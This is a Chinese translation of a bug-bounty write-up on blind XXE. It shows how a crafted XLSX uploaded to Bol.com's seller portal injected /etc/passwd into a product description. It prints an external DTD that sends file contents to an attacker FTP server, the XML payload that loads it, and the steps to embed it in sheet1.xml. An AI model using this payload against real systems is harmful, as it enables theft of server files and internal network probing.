(翻译)一种xxe盲打的骚姿势,通过在上传的文件中得到结果

背景
在之前的报道中,我们了解了很多关系在访问者浏览器执行代码;反射的xss和储存的xss。此外,我们快速查看配置错误的服务器设置和打开重定向。
今天我们将仔细研究从服务器窃取私人文件。

挑选一个目标
一如既往,我们需要一个好的目标。一个在荷兰的最大的电子商务网站 Bol.com。他们处理我的开放重定向错误报告的方式非常好。快速回复,正确修复并始终向我发送更新。没有麻烦,没有NDA,快乐的语气。公司应如何处理负责任披露的完美范例。您想加入的公司。

在我们开始之前我们需要知道一些关于XXE,LFL和,RCE。之后我们准备好了

XXE,LFL,RCE是什么
本地文件包含(LFL)是在服务器响应中显示内部服务器文件的过程。远程执行代码(RCE)是在服务器上执行我们自己的代码的过程。
经常一个LFL漏洞引向RCE漏洞。有很多技巧可以用来升级LFL向RCE(多看credits,一个非常好的读物)
RCE漏洞具有很高的影响力,因为它可能导致完整的服务器接管。尽管大多数服务器在访问受限的帐户下执行来自Web服务器的代码,在操作系统本身中偶尔会发现缺陷。允许一个人绕过此特定访问限制的缺陷。您可能过去曾经自己使用过这种类型的错误;通过越狱你的iphone或者root你的安卓。这两个完美的例子都是通过利用bug来接管操作系统,我们将此类攻击特权称为升级。
XML外部实体(XXE)攻击基于扩展XML文件,以便加载本地文件和外部URL。它可能导致LFI和RCE,因此它具有很高的影响力。虽然发现在2002年,这仍然是你现在在很多网站上都会发现的一个漏洞。高影响力和高发生率,让我们了解更多!

可扩展标记语言(XML)
在我们继续之前,我们需要更多地了解XML。XML是一种标记语言,允许用户创建易于被计算机和人类阅读的文档。虽然有人说它是落后的一种语言,但它现在仍在很多地方使用。
在这里插入图片描述
如果我们仔细查看示例,我们会注意到内容将出现在标记之间,例如<body>contents</body>。因此,我们应该转义标签内的特定字符。否则,可以注入一个标签并操纵整个XML文件,没有人想要这样。默认情况下,XML将<>&’“字符转义为类似&lt;&gt;&amp;’&quot;的实体。因此,我们仍然可以在不破坏XML文件的情况下使用字符。
XML有一个很好的功能,它允许我们通过在XML文档中包含文档类型定义(DTD)来定义我们自己的实体。 查看示例图像。
在这里插入图片描述
在这里插入图片描述

利用XML解析器
但是如果解析器允许我们定义文件而不是字符串呢?结果将是实体将被文件的内容替换。通过改变<!ENTITY body“Don’t forget me this weekend!” >成为<!ENTITY body SYSTEM“file:/// etc / passwd”>一些解析器会向我们显示/ etc / passwd文件的内容。
除了LFI,一些XML解析器还允许我们加载外部URL;只需用http:// URL替换file://字符串即可。网络服务器将请求此URL。这可能会导致称为服务器端请求伪造的攻击;您可以请求内部Web服务器,扫描开放端口并映射内部网络。您是否能够访问包含元数据的本地Web服务器? 恭喜你,你最终可能得到$ 25.000的赏金。

其他可能性是通过PHP模块直接RCE和拒绝服务攻击。

上述LFI攻击仅在我们的输入返回某处时才可行。否则我们无法读取被替换的实体。如果遇到这种情况,可以使用以下技巧来泄漏数据。

XXE盲打? 通过HTTP / FTP请求外部DTD泄漏数据
所以服务器会解析你的XML,但没有向你显示响应中的内容?由于您可以加载外部DTD,因此您可以将自定义实体附加到此外部URL。只要URL有效,它就会加载附加了(文件)内容的URL。 请注意像#这样的字符会破坏网址。

XXEserve
捕获我们的XXE请求的一个很好的工具是由staaldraad创建的XXEserv。 它是一个简单的FTP / HTTP服务器,显示对我们服务器的所有请求。它也伪造了一个FTP服务器; 由于字符串中的字符,HTTP有时会失败,FTP才有效。

快速开始
1.在面向公众的服务器上安装XXEserv
2.创建包含要泄漏的文件或(内部)URL的外部DTD文件(即sp2.dtd)。 将x.x.x.x替换为服务器的IP地址或主机名:

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">

3.将此外部DTD文件放在XXEserv目录中。 XXEserv充当公共ftp和Web服务器; 所以我们现在能够链接这个文件。
4.将XML有效负载发送给受害者,包括我们的外部DTD:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body><r>&body;</r></body>
</note>

5.观察XXEserv的输出
另一个报告的XXEserv输出示例。 在这里,我们通过FTP加载外部DTD从本地元服务器泄漏RSA公钥。

探索Bol.com
我们需要找到一种方法将我们的XML代码上传或注入Bol.com。 好的第一步是仔细查看他们的“卖家门户”。 大多数情况下,卖家能够上传与其产品相关的图像或其他文件。
在这里插入图片描述
网站的这一部分允许用户上传准备好(重新)销售的产品。
快速课程荷兰语:‘Aanbod beheren via excel’意味着’管理Excel中的库存’。
在这里插入图片描述
此界面有三个步骤:
1.下载包含当前库存的Excel文件
2.上载更改的Excel文件
3.查看上传结果

库存Excel文件
Excel文件的扩展名为XLSX。 这是Microsoft开发的一种开放文件格式; 在幕后它是一个包含多个XML文件的zip文件。
在这里插入图片描述
让我们解压缩XLSX。
在这里插入图片描述
其中一个XML文件包含工作表1的数据
如果我们打开sheet1.xml,我们将看到以下代码。
在这里插入图片描述
假设我们想尝试将/ etc / passwd的文件内容注入到Offer描述中(这是单元格G4,请参阅原始Excel工作表)。
在这里插入图片描述
正如我们在图像中看到的那样,字符串’Sample description’由id 108引用。让我们将自定义实体添加到此工作表中,并将此单元格值替换为我们的自定义实体。
在这里插入图片描述
我们保存文件,再次压缩文件夹并将文件重命名为xlsx。
让我们看看如果我们在步骤2中上传文件,让它加载,并从步骤1再次下载文件会发生什么。如果XXE攻击有效,它将更新我们的示例产品(Excel中的第4行)并注入文件内容/ etc / passwd进入此产品的优惠说明。

结果证明
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值